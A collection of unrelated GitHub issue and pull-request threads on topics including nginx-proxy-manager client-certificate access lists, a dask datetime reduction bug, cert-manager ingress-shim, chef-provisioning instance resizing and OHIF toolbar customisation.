[2023-05-29T05:04:47.969Z] npm_pr-2956_8-cypress-sqlite-1  |     "email"<EMAIL_ADDRESS>
[2023-05-29T05:04:47.969Z] npm_pr-2956_8-cypress-sqlite-1  |     "name": "Administrator",

[2023-05-29T05:04:47.969Z] npm_pr-2956_8-cypress-sqlite-1  |     "nickname": "Admin",

[2023-05-29T05:04:47.969Z] npm_pr-2956_8-cypress-sqlite-1  |     "avatar": "",

[2023-05-29T05:04:47.969Z] npm_pr-2956_8-cypress-sqlite-1  |     "roles": [

[2023-05-29T05:04:47.969Z] npm_pr-2956_8-cypress-sqlite-1  |       "admin"

[2023-05-29T05:04:47.969Z] npm_pr-2956_8-cypress-sqlite-1  |     ]

[2023-05-29T05:04:47.969Z] npm_pr-2956_8-cypress-sqlite-1  |   },

[2023-05-29T05:04:47.969Z] npm_pr-2956_8-cypress-sqlite-1  |   "access_list": null,

[2023-05-29T05:04:47.969Z] npm_pr-2956_8-cypress-sqlite-1  |   "use_default_location": true,

[2023-05-29T05:04:47.969Z] npm_pr-2956_8-cypress-sqlite-1  |   "ipv6": false

[2023-05-29T05:04:47.969Z] npm_pr-2956_8-cypress-sqlite-1  | }

[2023-05-29T05:04:47.969Z] npm_pr-2956_8-cypress-sqlite-1  | [validateSwaggerSchema ERROR] data.drop_unauthorized should be integer

[2023-05-29T05:04:48.223Z] npm_pr-2956_8-cypress-sqlite-1  |     1) Should be able to create a http host

[2023-05-29T05:04:48.223Z] npm_pr-2956_8-cypress-sqlite-1  |

[2023-05-29T05:04:48.223Z] npm_pr-2956_8-cypress-sqlite-1  |

[2023-05-29T05:04:48.223Z] npm_pr-2956_8-cypress-sqlite-1  |   0 passing (639ms)

[2023-05-29T05:04:48.223Z] npm_pr-2956_8-cypress-sqlite-1  |   1 failing

[2023-05-29T05:04:48.223Z] npm_pr-2956_8-cypress-sqlite-1  |

[2023-05-29T05:04:48.223Z] npm_pr-2956_8-cypress-sqlite-1  |   1) Hosts endpoints

[2023-05-29T05:04:48.223Z] npm_pr-2956_8-cypress-sqlite-1  |        Should be able to create a http host:

[2023-05-29T05:04:48.223Z] npm_pr-2956_8-cypress-sqlite-1  |      AssertionError: expected 'data.drop_unauthorized should be integer' to equal null

I keep getting 400 Bad Request: The SSL certificate error.
Is there anyway I can turn on debugging or access Nginx config settings? I read that changing the
ssl_verify_depth might help. Even if it doesn't, being able to enable debugging with definitely help as there's not much information in the current logs.

Any further progress on this?

This is awesome - any commitment to pulling this PR in to master?
This request #69 relates to this - and it's been around since 2019!

This needs more testing at the moment. I've successfully used it with Home Assistant which is what inspired me, but I believe there's an issue with Auth All vs Auth Any (any will auth no one).

@wrouesnel any start is a good start - let me get testing :)

@wrouesnel this is working pretty well for me, but I have had to specify "Satisfy Any" in the access list, i'm not aware of what the implications are of this, however? By using the ACL with satify any, requiring client certificate, on any of my hosts - clients that have a cert are able to login, clients that don't have a cert are given an unauthorised straight away.
If "Satisfy Any" is not specified, the cert picker comes up, but it doesn't allow you to specify any of the certs..

I keep getting 400 Bad Request: The SSL certificate error.
Is there anyway I can turn on debugging or access Nginx config settings? I read that changing the ssl_verify_depth might help. Even if it doesn't, being able to enable debugging with definitely help as there's not much information in the current logs.

This issue was my fault. I believe I wasn't creating the certificates correctly.

Okay did some more tests - the only access list issue is that if you have "Satisfy All" set, and no IPs in the Access List, then it's treated as a default failure which is not the original behavior. Should be easy enough to fix.

And fixed! It was one potentially serious bug ("Satisfy Any" and an empty IP list led to a default allow) which I never actually found because the template I was bugged.
This has been fixed so IP lists now always default to fail, and an empty IP control list simple removes the check from being parsed in the host (which is the correct solution).

Is this feature planned to get merged? I would absolutely love this without having to use a hacky workaround!

@wrouesnel will you legend !!
now this is what I was looking for to lock down the nginx to a device with a cert :)
but now that I have this up and running, I created ca,server and client x509 certs and installed them in the nginx and in the phone but all I get is 403 error
any special requirements for the x509 certs?? do you have a write up on creating the certs ?? I guess I am creating them wrong or using the wrong ones in the nginx prox manager client access cert

@oziee I'd need more information to know what's not working. I do know that you can wind up having this pop up when you don't do the Android certificate load just right (I think in some cases I had to convert the certificate, and then add a pin in order to get Android to pick it up).

Oh android only.. I'm iOS

It should also work on iOS. Maybe it's a little bit more difficult to deploy the client certificate on iOS. I used Apple Configurator and created a profile with the cert to deploy in the past. To do so you'll have to create a new profile and then add the cert to it.

To create the certs I use easyrsa which is IMHO the easiest way to create the ca and certs.

I think Cloudflare through the tunnel is playing some part maybe..
In the network I can curl with the cert and works but then I might be doing something very wrong with the cert that I install on the phone

Is this feature planned to get merged? I would absolutely love this without having to use a hacky workaround!

@jc21 any chance this might find it's way in?

@wrouesnel very nice work with this! Thanks alot.
I just have a question, i have "satisfy any" with certificate and IP ranges, and it kinda works. If I'm on WAN it will require me to preset a valid client certificate, and my LAN is on the Allow access list. I'm not required to present a client certificate when I'm on the LAN but the certificate picker comes up every time. Is this by design?
I feel like it should parse the allow list first, and if it finds a match for the current IP it won't "require" a client certificate when satisfy any is active. I mean, it's not a very big deal, but i think it would be cleaner if the certificate picker didn't show when I'm on my LAN.
BR

It's a limitation of the "optional" certificate challenge that implements it. Because nginx can ask for the cert it does. So your browser asks you if you want to present a certificate.

It's a limitation of the "optional" certificate challenge that implements it. Because nginx can ask for the cert it does. So your browser asks you if you want to present a certificate.

I see, and yes it will allow me in with even if i click no. But you're right, it should remember it, I've just spent the night in incognito mode while testing this out :) So in in a real use case it shouldn't matter that much.
As a bonus test-case, it seems that applications that don't support client certificates are able to get access (if IP are in allow list) without any interaction about certificates.
Thanks again 👍

@jc21 can this feature please be merged.

I would really like to see this feature merged. As far as I can see it would be ready to. @jc21 Is there something standing in the way?

Would also like to see this merged.
Also to the point with cloudflare from the deleted user above. Yes, you need to disable cloudflare's proxy (option: DNS only) for cert-based auth to work through a cloudflare protected endpoint.

I noticed the current PR doesn't build, and the test image created by JC21 no longer works as the python library versions have moved on and are incompatible. I've re-based the PR changes onto the latest develop in this branch here: https://github.com/metahertz/nginx-proxy-manager/tree/client_certificate_support and have a working test image on dockerhub here: metahertz/nginx-proxy-manager@sha256:7ec29fb342080b7810753fcc562fe0017d7750678f414291e8a684f676b61e41
Asking @wrouesnel @jc21 if they could take a look over the rebase and let me know what you'd like me to do with the branch :) Thanks!

this very useful feature and awesome, @jc21 there is any plan to merge it?

Also want a merge on it!

any updates on this?

Just bumping a request to get this pulled in! I've been running the pull request docker on this for sometime now! I don't feel great working on an old code base. @jc21 can we get it pulled in?


Add ingress-shim controller to create Certificates based on annotations on ingress resources

What this PR does / why we need it:
Adds a new controller, ingress-shim, that will automatically create Certificate resources for ingress resources with annotations on them.
By setting defaults on the ingress-shim CLI, it's possible to re-implement the kubernetes.io/tls-acme behavior of kube-lego.
There also needs to be some documentation written about this, as well as a user guide. This can be our migration story for users coming from kube-lego as well. It'd be interesting to know how easily it'd be to support a seamless migration from kube-cert-manager through this tool too.
Which issue this PR fixes (optional, in fixes #<issue number>(, fixes #<issue_number>, ...) format, will close that issue when PR gets merged): fixes #
Fixes #19
Special notes for your reviewer:
This includes unit tests for sync.go in the new controller, as well as a basic e2e test that ensures an ACME certificate is obtained correctly when an annotation is set on an ingress.
Release note:
Add ingress-shim controller to automatically create Certificate resources based on annotations on ingresses. This allows for easy creation of Certificate resources when using ingress.

Slightly related to #97

/cc @mikebryant

@simonswine has taken a look over the annotations being introduced and is happy with them. As this is a bit of an experiment, I'm going to merge now. We need to follow up with some documentation too in order to explain how users can make use of this.
/approve

Hi I followed the installation guide, but im wondering how i can check if the certificates are created...
After i apply the annotation to my ingress i get
No resources found.
when i run
kubectl get certificates

@casiodk please open a separate issue if you are running into problems.
Make sure to include the full Ingress that you are creating when you do so. In future, ingress-shim should log events to help you debug (via kubectl describe ingress my-ingress).
One quick note: make sure you are specifying the spec.tls stanza on your ingress as well as the kubernetes.io/tls-acme: "true" annotation.


webview build: unbreak recent macOS breakage

The recent commit ca71acfbfc9843bce156bb161bd30f7ef076242a broke
webview builds on macOS by assuming that readlink -m was already
available.
Unfortunately, there's a Catch-22 here: we need $root to ensure we
have access to readlink -m in the first place! On the other hand, we
don't need a normalized form of $root, just something that will let us
run a script.
Delay normalization of $root until after ensure-coreutils.sh is run.

Merged -- thanks!


Cannot compute min or max of dates in dask array when converted from dask dataframe using to_dask_array

What happened:
Computing the minimum date from a dask array causes an exception to be thrown. That dask array was converted from a dask dataframe using to_dask_array.
What you expected to happen:
I expected to be able to compute the minimum date from the dask array.
Minimal Complete Verifiable Example:
using to_dask_array raises an exception
import pandas as pd
from datetime import date
import dask.dataframe as dd

dates_df = pd.Series(pd.date_range(date(2014,1,1),date(2015,1,1), freq="M"))
dates_dd = dd.from_pandas(dates_df, npartitions=1)

dates_da = dates_dd.to_dask_array()
print(dates_da.min().compute())

UFuncTypeError: ufunc 'add' cannot use operands with types dtype('<M8[ns]') and dtype('<M8[ns]')
Using from_array works as expected
import pandas as pd
from datetime import date
import dask.dataframe as dd

dates_df = pd.Series(pd.date_range(date(2014,1,1),date(2015,1,1), freq="M"))

dates_da = dd.from_array(dates_df.values)
print(dates_da.min().compute())

2014-01-31 00:00:00
Environment:

Dask version: 2.16.0
Python version: 3.7.6
Operating System: macOS Catalina 10.15.5
Install method (conda, pip, source): conda

Going through dataframe isn't necessary. This issue is the unknown chunks. This operation fails when discovering the output dtype.
In [71]: a = da.ones((4,), dtype='datetime64[ns]')

In [72]: a._chunks
Out[72]: ((4,),)

In [73]: a._chunks = ((np.nan,),)

In [74]: a.min()
---------------------------------------------------------------------------
UFuncTypeError                            Traceback (most recent call last)
<ipython-input-74-8f6244b3691f> in <module>
----> 1 a.min()

~/sandbox/dask/dask/array/core.py in min(self, axis, keepdims, split_every, out)
   1960         from .reductions import min
   1961
-> 1962         return min(self, axis=axis, keepdims=keepdims, split_every=split_every, out=out)
   1963
   1964     @derived_from(np.ndarray)

~/sandbox/dask/dask/array/reductions.py in min(a, axis, keepdims, split_every, out)
    371         dtype=a.dtype,
    372         split_every=split_every,
--> 373         out=out,
    374     )
    375

~/sandbox/dask/dask/array/reductions.py in reduction(x, chunk, aggregate, axis, keepdims, dtype, split_every, combine, name, out, concatenate, output_size, meta)
    184         name=name,
    185         concatenate=concatenate,
--> 186         reduced_meta=reduced_meta,
    187     )
    188     if keepdims and output_size != 1:

~/sandbox/dask/dask/array/reductions.py in _tree_reduce(x, aggregate, axis, keepdims, dtype, split_every, combine, name, concatenate, reduced_meta)
    249         dtype=dtype,
    250         name=(name or funcname(aggregate)) + "-aggregate",
--> 251         reduced_meta=reduced_meta,
    252     )
    253

~/sandbox/dask/dask/array/reductions.py in partial_reduce(func, x, split_every, keepdims, dtype, name, reduced_meta)
    313     if is_arraylike(meta) and meta.ndim != len(out_chunks):
    314         if len(out_chunks) == 0:
--> 315             meta = meta.sum()
    316         else:
    317             meta = meta.reshape((0,) * len(out_chunks))

~/Envs/dask-dev/lib/python3.7/site-packages/numpy/core/_methods.py in _sum(a, axis, dtype, out, keepdims, initial, where)
     36 def _sum(a, axis=None, dtype=None, out=None, keepdims=False,
     37          initial=_NoValue, where=True):
---> 38     return umr_sum(a, axis, dtype, out, keepdims, initial, where)
     39
     40 def _prod(a, axis=None, dtype=None, out=None, keepdims=False,

UFuncTypeError: ufunc 'add' cannot use operands with types dtype('<M8[ns]') and dtype('<M8[ns]')

My only suggestion is to expose a meta to these methods and pass it through as reduced_meta in dask.array.reductions.reduction. Does that sound reasonable?

My only suggestion is to expose a meta to these methods and pass it through as reduced_meta in dask.array.reductions.reduction. Does that sound reasonable?

yeah that sounds great!

This issue is the unknown chunks

That's strange, I tested it the same "to_dask_array" example with lengths=True to compute the chunk sizes and it still raised the exception. Do you know why that would happen?

Oh sorry, I misread the original example. The second example used dd.Series.min(), I thought it was using da.Array. So the missing chunk size is a red herring
In [25]: a = da.ones((4,), dtype='datetime64[ns]')

In [26]: a.min()
---------------------------------------------------------------------------
UFuncTypeError                            Traceback (most recent call last)
<ipython-input-26-8f6244b3691f> in <module>
----> 1 a.min()

~/sandbox/dask/dask/array/core.py in min(self, axis, keepdims, split_every, out)
   1960         from .reductions import min
   1961
-> 1962         return min(self, axis=axis, keepdims=keepdims, split_every=split_every, out=out)
   1963
   1964     @derived_from(np.ndarray)

~/sandbox/dask/dask/array/reductions.py in min(a, axis, keepdims, split_every, out)
    371         dtype=a.dtype,
    372         split_every=split_every,
--> 373         out=out,
    374     )
    375

~/sandbox/dask/dask/array/reductions.py in reduction(x, chunk, aggregate, axis, keepdims, dtype, split_every, combine, name, out, concatenate, output_size, meta)
    184         name=name,
    185         concatenate=concatenate,
--> 186         reduced_meta=reduced_meta,
    187     )
    188     if keepdims and output_size != 1:

~/sandbox/dask/dask/array/reductions.py in _tree_reduce(x, aggregate, axis, keepdims, dtype, split_every, combine, name, concatenate, reduced_meta)
    249         dtype=dtype,
    250         name=(name or funcname(aggregate)) + "-aggregate",
--> 251         reduced_meta=reduced_meta,
    252     )
    253

~/sandbox/dask/dask/array/reductions.py in partial_reduce(func, x, split_every, keepdims, dtype, name, reduced_meta)
    313     if is_arraylike(meta) and meta.ndim != len(out_chunks):
    314         if len(out_chunks) == 0:
--> 315             meta = meta.sum()
    316         else:
    317             meta = meta.reshape((0,) * len(out_chunks))

~/Envs/dask-dev/lib/python3.7/site-packages/numpy/core/_methods.py in _sum(a, axis, dtype, out, keepdims, initial, where)
     36 def _sum(a, axis=None, dtype=None, out=None, keepdims=False,
     37          initial=_NoValue, where=True):
---> 38     return umr_sum(a, axis, dtype, out, keepdims, initial, where)
     39
     40 def _prod(a, axis=None, dtype=None, out=None, keepdims=False,

UFuncTypeError: ufunc 'add' cannot use operands with types dtype('<M8[ns]') and dtype('<M8[ns]')

Ahh of course, no problem! Do you think this is still fixable with exposing meta to to_dask_array and passing it through using reduced_meta in dask.array.reductions.reduction or do you think its a larger issue?
I'm happy to poke around and come up with a solution, just might be a while because I'm fairly busy at the moment. It seemed to me like a type inference issue in to_dask_array

fixable with exposing meta to to_dask_array

I think it's just in Array.min(), .sum(), etc. Anything going through reduction.

@kylejn27 are you still interested in trying to come up with a fix?

@jsignell Ah! Looks like this slipped out of mind. Unless you're asking because you wanted to take this on, I'm happy to start working on this next week

I think that Julia was just poking stale issues.  If you're down to resolve
this Kyle that would be swell.
On Fri, Sep 11, 2020, 10:58 AM Kyle Nicholson<EMAIL_ADDRESS>wrote:

@jsignell https://github.com/jsignell Ah! Looks like this slipped out
of mind. Unless you're asking because you wanted to take this on, I'm happy
to start working on this next week
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/dask/dask/issues/6354#issuecomment-691234294, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/AACKZTHYZ37RJVUSWE37E5TSFJQLXANCNFSM4OLO52UA
.

great! I'll pick it up first thing on monday

Julia was just poking stale issues

Indeed I was! All yours @kylejn27 :) If you want to add a meta to to_dask_array while you're at it, then you'll close #6349  as well.

If you want to add a meta to to_dask_array while you're at it,

sure!

I just realized that I misinterpreted what the proposed solution was in my implementation of #6651, that PR doesn't actually pass meta to reduced_meta it just sets the metadata after the reduction happens.
In my local branch I corrected this and tried to pass a metadata in that I thought would help the issue (da.min(a, meta=np.array([1], dtype=timedelta64[ns])) but realized that the real issue isn't really anything to do with metadata

but that that numpy cannot add `datetime64[ns]` and throws a value error when doing so here:

if is_arraylike(meta) and meta.ndim != len(out_chunks):
if len(out_chunks) == 0:
meta = meta.sum() # <----
else:
meta = meta.reshape((0,) * len(out_chunks))

naively I'd like add a try catch block and pass through the value error. This resolves this issue, but I'm wondering if it would have undesirable effects downstream if added in.

if is_arraylike(meta) and meta.ndim != len(out_chunks):
    if len(out_chunks) == 0:
        try:
            meta = meta.sum()
        except ValueError:
            pass
    else:
        meta = meta.reshape((0,) * len(out_chunks))

If you do that then the dimensionality of the meta stops matching the dimensionality of the output so that's not ideal.

The goal of that meta  = meta.sum() is to reduce the dimensionality of the meta. I can't think of a safe general way to do that for datetime. Specifically in this case we need to go from ndim=1 to ndim=0 and the len is 0 so flatten doesn't work, and np.asscalar doesn't either.

Ah thanks for the input! I'll spend some time thinking on this, perhaps in a different PR than #6651 so we can get that merged in

Thinking about @mrocklin's comment a little bit

I wonder if we can replace the use of sum with an understanding of the axis
and keepdims arguments to achieve the same result.  This would probably
require a little bit of work on our part, but might reduce complexity for
others in the future.

Seems that the point of this block of code is to replace meta with either a single value 0 or a tuple of 0's with length out_chunks.
if is_arraylike(meta) and meta.ndim != len(out_chunks):
        if len(out_chunks) == 0:
            # point of this is to get
            meta = meta.sum()
        else:
            meta = meta.reshape((0,) * len(out_chunks))

My understanding of Dask metadata is a bit weak so I could be wrong but wouldn't it be ok to replace meta = meta.sum() with the following? This gives you a scalar metadata of 0 of dtype type(meta)
if is_arraylike(meta) and meta.ndim != len(out_chunks):
        if len(out_chunks) == 0:
            # point of this is to get
            original_type = type(meta) # preserve original type
            meta = np.int64(0) # get meta into the shape you want, single scalar 0 value
            meta = meta.astype(original_type) # Cast scalar 0 metadata to original type
        else:
            meta = meta.reshape((0,) * len(out_chunks)) # this should work regardless of the type

I think going through np is kind of discouraged since ideally dask doesn't care what the array type of the underlying blocks is (cupy for instance should work). Ideally there would be some method on meta that could create a scalar of the same type.

Did anyone ever come up with a solution or workaround for this from a user perspective? I'm working with some very large xarrays and I'd like to stay in dask-land as much as possible, but for part of my program this issue is forcing me to use a numpy min().

A +1 on this issue. It has also bitten me, with a very similar use case to @claytharrison. My minimum reproducible example is below
import dask.array
import numpy as np

times = np.array(
    [
        "1755-10-20T00:00:00.000000000",
        "1760-09-28T00:00:00.000000000",
        "1766-04-05T00:00:00.000000000",
    ],
    dtype="datetime64[ns]",
)
dask.array.from_array(times).min()

# Output
...
numpy.core._exceptions._UFuncBinaryResolutionError: ufunc 'add' cannot use operands with types dtype('<M8[ns]') and dtype('<M8[ns]')


Undocumented Function (getMetadata().getName())

Hello,
I've been trying to get the sap.ui type out of the various objects.
While I was looking for a solution I found this:
oControl = sap.ui.getCore().byId('');
sType = oControl.getMetadata().getName();
Since this is an undocumented, as far as I know, I'd like to ask you
to add this to the documentation of your controls.

Hi Wolfram,
it's public and documented:
https://openui5.hana.ondemand.com/#docs/api/symbols/sap.ui.base.Metadata.html#getName
https://github.com/SAP/openui5/blob/master/src/sap.ui.core/src/sap/ui/base/Metadata.js#L155
Regards
Andreas

Oh, wait, were you referring to getName() or to getMetadata()?
ManagedObject (base class for all controls declared getMetadata() as public:
https://github.com/SAP/openui5/blob/master/src/sap.ui.core/src/sap/ui/base/ManagedObject.js#L172
It already exists in sap.ui.base.Object.
But it does not appear in the documentation, as far as I see... this might be a bug.

Thanks for the quick response!

Thanks for letting us know! :-)

See https://github.com/SAP/openui5/commit/0d4e0db082c5d1d3cc54ed3bb3539e71e8968aa8

Fixed for 1.28.


how to use this thing?

Thank you for creating the issue. I have updated the readme to include usage and config information.


Offboarding instructions need updating

This document describes in two sections how to create an offboarding package for Configuration Manager. In both cases, it says logon to ATP and select the Endpoint Management menu. I don't actually see such a menu in ATP. I think the directions should say, logon to ATP and select Settings. Under the Machine Management heading, select Offboarding.
Thank you, Gary Knigge

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 565cfa51-ee26-5fbd-ab3d-e8176e994f78
Version Independent ID: 441218c9-c56f-3532-145e-8039c67e6b1d
Content: Microsoft Defender Advanced Threat Protection - Configuration Manager
Content Source: sccm/protect/deploy-use/windows-defender-advanced-threat-protection.md
Product: configuration-manager
Technology: configmgr-protect
GitHub Login: @mestew
Microsoft Alias: mstewart

Thanks @gaknigge, it looks like the interface has changed since we created this article. There's an ATP onboarding article that's consistent with your description.


Jso contours

Change logs:

There are many files changed because i added the full d3js lib. We might want to undo that.
key commit is really this. The rest is mostly garbage.
DiamondChart got a facelift, requiring more arguments and having more helper functions in it (e.g. get_contours > make_grid > filter_contours).

To do:

[ ] I still need to clean DiamondChart. Maybe there's a way to reduce the number of arguments.
[ ] Right now, we are using a custom alpha_norm_type2 in the make_grid function. This need to disappear. Ideally, we would only call that function from the main file that has been tested.

alpha_norm_type2 is required in there because we need it to evaluate the grid we use to draw contourlines. We cannot use the main function right now because the main function is doing the following: rank_turbulence_divergence(mixedelements, alpha) . That is, it expects mixedelements. We might want to rethink that logic.

p.s. This update goes hand in hand with this commit in py-allotax. When we merge this commit, we need to update py-allotax as well. I don't like that.

Suggest removing node_modules/


Updates for VCV 0.6.0 ???

OS:  OSX
Simple module pack version: (git SHA1 if builded from sources)
Module concerned:  Clock Divider and the rest
Description:  Update to new VCV version
Steps to reproduce:

@IohannRabeson i miss your clock divider :(


NIM-19814

Fixes calendar component when changed to null not submitting the event to server

You did it @rakeshnpatel!
Thank you for signing the Anthem Opensource Software CLA.


[SPARK-33472][SQL][FOLLOW-UP] Update RemoveRedundantSorts comment

What changes were proposed in this pull request?
This PR is a follow-up for #30373 that updates the comment for RemoveRedundantSorts in QueryExecution.
Why are the changes needed?
To update an incorrect comment.
Does this PR introduce any user-facing change?
No
How was this patch tested?
N/A

Test build #132094 has started for PR 30584 at commit 4f16499.

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/36693/

Kubernetes integration test status success
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/36693/

Build finished.

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/36693/

Test build #132094 has finished for PR 30584 at commit 4f16499.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Build finished.

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/132094/

cc @maropu

Thanks for the update, @allisonwang-db


feat(resolve-repositories): add repository pattern support

📝 Summary

Add support for repository pattern, only if * character appears in the pattern:

${org}/*${pattern}
${org}/${pattern}*
${org}/${startPattern}*${endPattern}
etc

⛱ Motivation and Context

Fix #17
📊 How Has This Been Tested?

Run it locally + Unit Tests
📚 References:

https://github.com/lukeed/uvu/tree/master/examples
https://github.com/node-nock/nock

This is an initial proposal, as an initial approach what do you think @gr2m ?
Maybe we should invest more time and add a --regex flag to support any other valid RegExp pattern? What do you think?
I Still not executed the code, just validating the approach first

I need to go to sleep @gr2m
I just pushed a proposal of tests (Work In progress)
To make the e2e ones work in local we would need GITHUB_TOKEN=$GITHUB_TOKEN npm t
Let me know what are your thoughts on this e2e ones.
Tomorrow I will write down a more detailed explanation and answer any question you could have

Please let's not use jest here. We are going all in with ES Modules, so I'd like to use a lightweight test runner that does the same, such as https://github.com/lukeed/uvu

Please let's not use jest in @octoherd. We are going all in with ES Modules, so I'd like to use a lightweight test runner that does the same, such as https://github.com/lukeed/uvu

Sorry, complete forgot your comment on the usage of uvu. Looks amazing the performance of this lib.
On it right now! 💪🏽

Ready for review @gr2m

@oscard0m do you want to finish this up yourself or shall I?

@oscard0m do you want to finish this up yourself or shall I?

Hi @gr2m I would like to finish it myself if it's not urgent for you.
Sorry for disappearing these weeks, I've been moving to a new flat and relaxing after this movement.

Picking it right now :)

no rush, take your time, I was just checking in. Congrats on the new flat :)

no rush, take your time, I was just checking in. Congrats on the new flat :)

Thank you @gr2m ❤ ❤ ❤

If it's ok to you I would like to pick this at the end of this week

sounds perfect 👍🏼

If it's ok to you I would like to pick this at the end of this week

sounds perfect 👍🏼

Hi @gr2m . So sorry but finally I did not have time to pick this due to a tech challenge from a hiring process. The delivery will be on Wednesday. Do you think this can wait a few days more until I'm free again? 🙏🏽  😄

No worries at all, good luck with the job hunt!
It depends when @bcoe will send out his newsletter. I'd like to ship this and the other pull requests before that. Ben said the newsletter goes out in April, but didn't specify a day yet.


Resizing instances

Let's say I've decided to describe my infrastructure completely using chef-provisioning. I wrote a recipe like this:
1.upto(3) do |i|
  machine "my-web-app-#{i}" do
    recipe "my-web-app::default"
    machine_options   {
      bootstrap_options: {
        key_name:             "chef-provisioner",
        instance_type:        "m3.medium"
      }
    }
  end
end

Life is good, I have traffic flowing etc. etc.
One year later I get lots of new customers and my requests doubled or more. I have a choice of either increasing amount of instances or to use larger instances. Or I just see that I need more CPU power and I don't really care about RAM, so I decided to switch to c4.xlarge. I got to my recipe and update it:
1.upto(3) do |i|
  machine "my-web-app-#{i}" do
    recipe "my-web-app::default"
    machine_options   {
      bootstrap_options: {
        key_name:             "chef-provisioner",
        instance_type:        "c4.xlarge"
      }
    }
  end
end

And then I launch this recipe.
Now goes the question: what happens then? Will be my m3.medium instances shut down and replaced one by one with new ones? Will they be instantly destroyed and I will have few minutes of downtime? Or will chef-provisioning just ignore updated instance type? Or will it not and then just override old nodes and I will end up with 3 new nodes and 3 old ec2 instances that I have to remove manually?

More broader question: how good is chef-provisioning(-aws) at handling changes in resources? It is pretty clear how it works with normal chef resources (files, templates, directories), but here we are dealing with infrastructure templating and changing it is a bit tricker.

@Fodoj You can think of resources for chef-provisioning-aws operating in a CRUD manner for each underlying AWS object being managed.  Chef-provisioning-aws CRUD operations against those objects are only valid if AWS supports such an operation against that object as a valid API call.  There is no valid API call to resize a running instance.
Instance resizing is deceiving because while it may appear as a single command via the AWS console, there are quite a few steps happening behind the scenes.  The instance type must support resizing.  If it does, then the instance must be stopped, the instance attributes are then modified, then the instance is restarted.
This might be an enhancement to consider.  But I get tripped up on the scope of it.  Instead of action :create for the machine resource, it would need to be something like action :modify (see the user resource, for examples).  But that would erroneously lead me to think that all of the machine options are being checked and updated if not in the desired state (clearly, that's not true).
To implement, there'd be logic needed to check that the object being managed is eligible for resizing.  If eligible; stop, adjust, restart.  Some usefulness might be found here.
That still seems pretty broad in scope to me.  But if someone mocks up what that would look like, I think we'd consider a PR.  @tyler-ball @jkeiser @randomcamel, is that all true?  Any guidance to add?

Okay, I see, so this feature is not implemented :) I guess you could add on a roadmap tasks to add "update" action to all resources, machien_image would be first one. I might be able to help with that too

@gmiranda23 That's my understanding of the situation, yes. If it were implemented conservatively enough, I don't think we'd object on principle.


zero down time deployments

When we deploy an instance of plater it takes a while to seed the neo4j DB and to run start up neo4j cypher queries to generate the meta kg and sri testing data. This results in significant down time on the cluster in between terminating the previous containers and having plater send a heartbeat to automat. We should figure out a way to reduce or eliminate the down time.

We moved the cypher queries that generate meta kg and sri testing data into ORION which does reduce the down time quite a bit, but seeding the larger neo4j DBs is still slow.


Put copyright at the top of each file and add to linter

Closing issues due to inactivity. This issue can be re-opened as required.


how to disable toolbar buttons on OHIF

Hi Folks,
We need to provide a "read only" instance of OHIF where one set users can use complete feaure set of OHIF but another set of users can only view the images with measurements (no edit or new annotations or measurements) .
How do we acheive this ? great if any leads can be provided to help us.

Hi @visconnect
I had a similar issue and I ended up just removing/commenting out the tools I didn't require in the file below..
https://github.com/OHIF/Viewers/blob/f9fe4232e755d2478dae4c70dac90a7b42e34846/extensions/cornerstone/src/toolbarModule.js#L37
For your requirements -  maybe you could copy the extension and create a new custom version with the tools you require that gets enabled only for certain users.
Not sure about programmatically enabling/disabling extensions - I think you could that in the config file by switching out configs outside of OHIF before it loads - depending on where your user logic is.
For measurements in particular - they seem to be more 'baked in' in to the core viewer app - not in an extension... Hopefully the core team will correct me if I am wrong on this and can provide some insight.

Here is what i have done in an older version, but i do not know if it is the best way.
extensions/cornerstone/src/toolbarModule.js
in definition i have added a field in all buttons:
id: 'Zoom',
label: 'Zoom',
icon: 'search-plus',
type: TOOLBAR_BUTTON_TYPES.SET_TOOL_ACTIVE,
commandName: 'setToolActive',
commandOptions: { toolName: 'Zoom' },
group: 'GENERAL', // this could be GENERAL for the ones that do not change, or 'SPECIFIC'
in platform/core/redux/actions.js
add an action like this:
// I show some buttons depending on modality
export const toggleButtons = (modality) => ({
type: 'TOGGLE_BUTTONS',
modality,
});
and add toggleButtons to exported actions.
in my case in platform/viewer/src/connectedComponents/ConnectedViewer,js
const { setTimepoints, setMeasurements, toggleButtons } = OHIF.redux.actions;
add to mapDispatchToProps:
onToggleButtons: modality => {
dispatch(toggleButtons(modality));
},
in platform/viewer/src/connectedComponents/Viewer,js I add this function
onToggleButtons = modality => {
if (this.props.onToggleButtons) {
this.props.onToggleButtons(modality);
}
};
and I make a call to this.onToggleButtons from componentDidUpdate
in platform/viewer/src/store/layout/reducers.js
const defaultState = {
labelling: {},
contextMenu: {},
showTool: false
};
add a case
case 'TOGGLE_BUTTONS':
const ui = Object.assign({}, state.ui, {
showTool: action.modality === 'MG',
});
  return Object.assign({}, state,{
    ... ui,
  });

in platform/viewer/src/connectedComponents/ToolBarRow.js
function _getButtonComponents(toolbarButtons, activeButtons) {
return (
<ToolbarButton
key={button.id}
label={button.label}
icon={button.icon}
onClick={_handleToolbarButtonClick.bind(this, button)}
isActive={activeButtons.includes(button.id)}
group={button.group} // add this
/>
in platform/ui/src/viewer/ToolBarButton.js
const { isActive, icon, labelWhenActive, onClick, t, showTool, group } = props;
return ( {showTool === true && group === 'SPECIFIC' ?

{iconProps && <Icon {...iconProps} />}

    {t(label)}
    {arrowIcon}

  : group !== 'SPECIFIC' &&

  {iconProps && <Icon {...iconProps} />}

    {t(label)}
    {arrowIcon}

}

);
I connect ToolbarButton
const mapStateToProps = state =>({
showTool: state.ui.showTool
});
export default connect (mapStateToProps, {})(withTranslation('Buttons')(ToolbarButton));
I supose you have to do something similar.
Hope it helps.

Any update on this?
Is there any way to configure this from ohifViewerConfig?

How about in the other version you don't put a toolbar?